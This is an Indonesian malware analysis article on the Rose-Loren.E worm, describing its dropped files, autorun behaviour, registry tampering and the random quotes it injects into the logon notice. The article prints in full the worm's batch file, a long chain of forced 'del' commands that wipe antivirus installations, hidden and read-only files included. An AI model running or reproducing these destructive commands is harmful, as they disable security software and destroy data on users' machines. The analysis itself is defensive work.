Virus : Rose-Loren.E:’Rose’ Ada karena ‘Cinta’

Rose-Loren.E. Tidak selamanya dunia malware itu terkesan hitam dan jahat. Karena Rose-Loren dan salah satu variannya yang di bahas kali ini lebih mengesankan kepiluan serta rasa kesedihan yang dirasakan oleh pembuatnya. Jika bunga mawar umumnya mencirikan perasaan cinta, Rose-Loren membuat bunga mawar sebagai tanda kedatangannya.

A. Info Malware
Nama: Rose-Loren.E
Asal: Indonesia
Ukuran File: 91.7 KB (93,961 bytes)
Packer : Unknown
Pemrograman : Visual Basic
Icon : Folder Windows
Tipe : Worm
B. Tentang Malware
Sepertinya ini adalah hasil dari modifikasi dari source terdahulu karena sudah cukup lama kami mendapatkan variant dari Rose-Loren. eSetelah di unpack, worm ini berukuran 216 KB (221,696 bytes). Saat worm ini aktif di memory, komputer akan terasa lambat karena proses Rose-Loren.E menyita resource yang cukup besar.
C. Companion/File yang dibuat
Saat aktif, worm akan mencari setiap drive yang ditemukan dan membuat file/folder antara lain sebagai berikut:

• Membuat file yang merupakan file induk/host dari worm, yaitu
  C:\WINDOWS\system32\[5 buah bilangan acak]\lsass.exe dan
  C:\WINDOWS\system32\[5 buah bilangan acak]\svchost.exe
• Membuat juga file dengan nama EpIoler dan autoexec.bat di folder yang sama seperti di atas, dan isinya adalah:
  
  ?

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112

  del /f /q /s  C:\ESET\*.* >nul del /f /q /s  C:\antivi~1\*.* >nul del /f /q /s  C:\antivi~2\*.* >nul del /f /q /s  C:\antiviru\*.* >nul del /f /q /s  C:\avg\*.* >nul del /f /q /s  C:\kasper~1\*.* >nul del /f /q /s  C:\kasper~2\*.* >nul del /f /q /s  C:\mcafee\*.* >nul del /f /q /s  C:\mcafee.com\agent\*.* >nul del /f /q /s  C:\mcafee.com\*.* >nul del /f /q /s  C:\mcafee.com\VSO\*.* >nul del /f /q /s  C:\mcafee~1\*.* >nul del /f /q /s  C:\msav\*.* >nul del /f /q /s  C:\norman\*.* >nul del /f /q /s  C:\norton~1\*.* >nul del /f /q /s  C:\norton~2\*.* >nul del /f /q /s  C:\pav\*.* >nul del /f /q /s  C:\pccill~1\*.* >nul del /f /q /s  C:\iolo\*.* >nul del /f /q /s  C:\progra~1\ESET\*.* >nul del /f /q /s  C:\progra~1\antivi~1\*.* >nul del /f /q /s  C:\progra~1\antivi~2\*.* >nul del /f /q /s  C:\progra~1\avg\*.* >nul del /f /q /s  C:\progra~1\kasper~1\*.* >nul del /f /q /s  C:\progra~1\kasper~2\*.* >nul del /f /q /s  C:\progra~1\mcafee\*.* >nul del /f /q /s  C:\progra~1\McAfee.com\agent\*.* >nul del /f /q /s  C:\progra~1\McAfee.com\\*.* >nul del /f /q /s  C:\progra~1\McAfee.com\VSO\*.* >nul del /f /q /s  C:\progra~1\mcafee~1\*.* >nul del /f /q /s  C:\progra~1\mindso~1\*.* >nul del /f /q /s  C:\progra~1\norman\*.* >nul del /f /q /s  C:\progra~1\norton~1\*.* >nul del /f /q /s  C:\progra~1\norton~2\*.* >nul del /f /q /s  C:\progra~1\pandas~1\*.* >nul del /f /q /s  C:\Progra~1\Alwils~1\*.* >nul del /f /q /s  C:\progra~1\iolo\*.* >nul del /f /q /s /a:h  C:\ESET\*.* >nul del /f /q /s /a:h  C:\antivi~1\*.* >nul del /f /q /s /a:h  C:\antivi~2\*.* >nul del /f /q /s /a:h  C:\antiviru\*.* >nul del /f /q /s /a:h  C:\avg\*.* >nul del /f /q /s /a:h  C:\kasper~1\*.* >nul del /f /q /s /a:h  C:\kasper~2\*.* >nul del /f /q /s /a:h  C:\mcafee\*.* >nul del /f /q /s /a:h  C:\mcafee.com\agent\*.* >nul del /f /q /s /a:h  C:\mcafee.com\VSO\*.* >nul del /f /q /s /a:h  C:\mcafee~1\*.* >nul del /f /q /s /a:h  C:\msav\*.* >nul del /f /q /s /a:h  C:\norman\*.* >nul del /f /q /s /a:h  C:\norton~1\*.* >nul del /f /q /s /a:h  C:\norton~2\*.* >nul del /f /q /s /a:h  C:\pav\*.* >nul del /f /q /s /a:h  C:\pccill~1\*.* >nul del /f /q /s /a:h  C:\pc-cil~1\*.* >nul del /f /q /s /a:h  C:\iolo\*.* >nul del /f /q /s /a:h  C:\progra~1\ESET\*.* >nul del /f /q /s /a:h  C:\progra~1\antivi~1\*.* >nul del /f /q /s /a:h  C:\progra~1\antivi~2\*.* >nul del /f /q /s /a:h  C:\progra~1\avg\*.* >nul del /f /q /s /a:h  C:\progra~1\kasper~1\*.* >nul del /f /q /s /a:h  C:\progra~1\kasper~2\*.* >nul del /f /q /s /a:h  C:\progra~1\mcafee\*.* >nul del /f /q /s /a:h  C:\progra~1\mcafee.com\agent\*.* >nul del /f /q /s /a:h  C:\progra~1\mcafee.com\*.* >nul del /f /q /s /a:h  C:\progra~1\mcafee.com\VSO\*.* >nul del /f /q /s /a:h  C:\progra~1\mcafee~1\*.* >nul del /f /q /s /a:h  C:\progra~1\mindso~1\*.* >nul del /f /q /s /a:h  C:\progra~1\norman\*.* >nul del /f /q /s /a:h  C:\progra~1\norton~1\*.* >nul del /f /q /s /a:h  C:\progra~1\norton~2\*.* >nul del /f /q /s /a:h  C:\progra~1\pandas~1\*.* >nul del /f /q /s /a:h  C:\Progra~1\Alwils~1\*.* >nul del /f /q /s /a:h  C:\progra~1\iolo\*.* >nul del /f /q /s /a:R  C:\ESET\*.* >nul del /f /q /s /a:R  C:\antivi~1\*.* >nul del /f /q /s /a:R  C:\antivi~2\*.* >nul del /f /q /s /a:R  C:\antiviru\*.* >nul del /f /q /s /a:R  C:\avg\*.* >nul del /f /q /s /a:R  C:\kasper~1\*.* >nul del /f /q /s /a:R  C:\kasper~2\*.* >nul del /f /q /s /a:R  C:\mcafee\*.* >nul del /f /q /s /a:R  C:\mcafee.com\agent\*.* >nul del /f /q /s /a:R  C:\mcafee.com\*.* >nul del /f /q /s /a:R  C:\mcafee.com\VSO\*.* >nul del /f /q /s /a:R  C:\mcafee~1\*.* >nul del /f /q /s /a:R  C:\msav\*.* >nul del /f /q /s /a:R  C:\norman\*.* >nul del /f /q /s /a:R  C:\norton~1\*.* >nul del /f /q /s /a:R  C:\norton~2\*.* >nul del /f /q /s /a:R  C:\pav\*.* >nul del /f /q /s /a:R  C:\pccill~1\*.* >nul del /f /q /s /a:R  C:\pc-cil~1\*.* >nul del /f /q /s /a:R  C:\iolo\*.* >nul del /f /q /s /a:R  C:\progra~1\ESET\*.* >nul del /f /q /s /a:R  C:\progra~1\antivi~1\*.* >nul del /f /q /s /a:R  C:\progra~1\antivi~2\*.* >nul del /f /q /s /a:R  C:\progra~1\avg\*.* >nul del /f /q /s /a:R  C:\progra~1\kasper~1\*.* >nul del /f /q /s /a:R  C:\progra~1\kasper~2\*.* >nul del /f /q /s /a:R  C:\progra~1\mcafee\*.* >nul del /f /q /s /a:R  C:\progra~1\mcafee.com\*.* >nul del /f /q /s /a:R  C:\progra~1\mcafee.com\agent\*.* >nul del /f /q /s /a:R  C:\progra~1\mcafee.com\VSO\*.* >nul del /f /q /s /a:R  C:\progra~1\mcafee~1\*.* >nul del /f /q /s /a:R  C:\progra~1\mindso~1\*.* >nul del /f /q /s /a:R  C:\progra~1\norman\*.* >nul del /f /q /s /a:R  C:\progra~1\norton~1\*.* >nul del /f /q /s /a:R  C:\progra~1\norton~2\*.* >nul del /f /q /s /a:R  C:\progra~1\pandas~1\*.* >nul del /f /q /s /a:R  C:\Progra~1\Alwils~1\*.* >nul del /f /q /s /a:R  C:\progra~1\iolo\*.* >nul

• Jika ditemukan folder WinRar pada folder Program Files, maka Rose-Loren akan langsung mengcopykan file data.exe data.exe dan file gambar rose.jpg.
  
• Membuat file dengan nama private.zip yang isinya file worm dengan nama data.exe pada setiap drive termasuk di flash disk.
• Membuat file dengan nama myrose.html, dan di dalamnya tersisip pesan berupa puisi cinta yang akan terlihat jika membuka code htmlnya.
• Merubah icon pada flash disk karena adanya file autorun.inf serta file desktop.ini yang merubah background flash disk menjadi bunga mawar. Yang berbeda adalah, biasanya, autorun.inf lebih berfungsi untuk memanggil file companion dari malware yang ada di flash disk, sedangkan Rose-Loren hanya membuat autorun untuk merubah icon flash disk.

D. Hasil Infeksi
Worm ini banyak melakukan perubahan pada registry, terlihat pada Legal Notification sebelum tampilan logon screen yang selalu berubah ubah karena Rose-Loren.E melakukan random terhadap kalimat yang di injeksikan ke registry. Sebagai contoh adalah gambar ini:

Text yang dirandom adalah:

• Ambillah waktu untuk belajar, itu adalah sumber kebijaksanaan.
• Hiduplah seperti lilin menerangi orang lain, janganlah hidup seperti duri menusuk diri dan menyakiti orang lain
• Mahkota kemanusiaan ialah rendah hati
• Yang telah berlalu biarkan ia berlalu, yang mendatang hadapi dengan cemerlang
• Kawan sejati ialah orang yang mencintaimu meskipun telah mengenalmu dengan sebenar-benarnya yaitu baik dan burukmu
• Sabar adalah jalan keluar bagi orang yang tidak bisa menemukan jalan keluar.
• Seekor burung di tangan lebih baik daripada sepuluh ekor di atas pohon.
• Hidup ini adalah warna-warni yang tergores pada kanvas, walaupun tidak cantik ia tetap mempunyai sejuta makna
• Sebelum memberi nasihat kepada manusia dengan ucapanmu, berilah mereka nasihat dengan perbuatanmu.
• Harta yang paling menguntungkan ialah SABAR. Teman yang paling akrab adalah AMAL.
• Pengawal peribadi yang paling waspada DIAM. Bahasa yang paling manis SENYUM. Dan ibadah yang paling indah tentunya KHUSYUK.
• Apabila kepercayaan telah hilang lenyap, kehormatan telah musnah, maka matilah orang itu -Whittier
• Jangan sekali-kali kita meremehkan sesuatu perbuatan baik walaupun hanya sekadar senyuman.
• Anda bukan apa yang anda fikirkan tentang anda, tetapi apa yang anda fikirkan itulah anda
• Ambillah waktu untuk berdoa, itu adalah sumber ketenangan.
• Hidup tak selalunya indah tapi yang indah itu tetap hidup dalam kenangan.
• Biarpun jalan itu panjang, kita akan merintisnya perlahan-lahan.
• Berfikir sejenak, merenung masa lalu adalah awal yang baik untuk bertindak
• Dalam kerendahan hati ada ketinggian budi. Dalam kemiskinan harta ada kekayaan jiwa. Dalam kesempitan hidup ada kekuasaan ilmu.
• Kegagalan dalam kemuliaan lebih baik daripada kejayaan dalam kehinaan.
• Seseorang yang melakukan kesalahan dan tidak membetulkannya, Sesungguhnya Ia telah melakukan satu kesalahan lagi. – Confucius
• Ambillah waktu untuk bermain, itu adalah rahsia dari masa muda yang abadi.
• Selemah-lemah manusia ialah orang yg tak bisa mencari sahabat dan orang yang lebih lemah dari itu ialah orang yg mensia-siakan sahabat yg telah dicari (Saidia Ali)
• Ambillah waktu untuk berfikir, itu adalah sumber kekuatan.
• Ambillah waktu untuk mencintai dan dicintai, itu adalah hak istimewa yang diberikan Tuhan.
• Ambillah waktu untuk bersahabat, itu adalah jalan menuju kebahagiaan.
• Ambillah waktu untuk tertawa, itu adalah musik yang menggetarkan hati.
• Ambillah waktu untuk memberi, itu adalah membuat hidup terasa bererti.
• Ambillah waktu untuk bekerja, itu adalah nilai keberhasilan.
• Ambillah waktu untuk beramal, itu adalah kunci menuju syurga.
• Cinta tidak berupa tatapan satu sama lain, tetapi memandang ke luar bersama ke arah yang sama.
• Persahabatan sering berakhir dengan cinta Tetapi cinta tidak pernah berakhir dengan persahabatan
• Cobalah bernalar tentang cinta dan engkau pun akan kehilangan nalarmu
• Jangan pernah bilang ‘Cinta’ kalau kamu tidak perduli.
• Jangan pernah menyentuh hidup seseorang kalau hal itu akan melukai hatinya.
• Jangan pernah menatap matanya kalau semua yang kamu lakukan hanya berbohong.

Worm juga menghilangkan beberapa menu pada Folder Options.

Payload lainnya adalah merubah tampilan properties pada My Computers.

Beberapa registry juga diubah, termasuk mendisable beberapa sistem Windows.

• Regedit.exe
• Msconfig.exe
• taskmgr.exe
• ntvdm.exe
• rstrui.exe
• EnableExtensions
• FolderContentsInfoTip
• NoRun
• NoFind
• DisableCurrentUserRun
• HideFileExt
• FolderSizeTip
• ShowFullPathAddress
• ShowFullPath
• Disable SafeMode
• Disable Show Hidden and Super Hidden files.

Worm juga akan membuat startup dengan nama WinUp dan RsWin.

Sumber : virusindonesia.com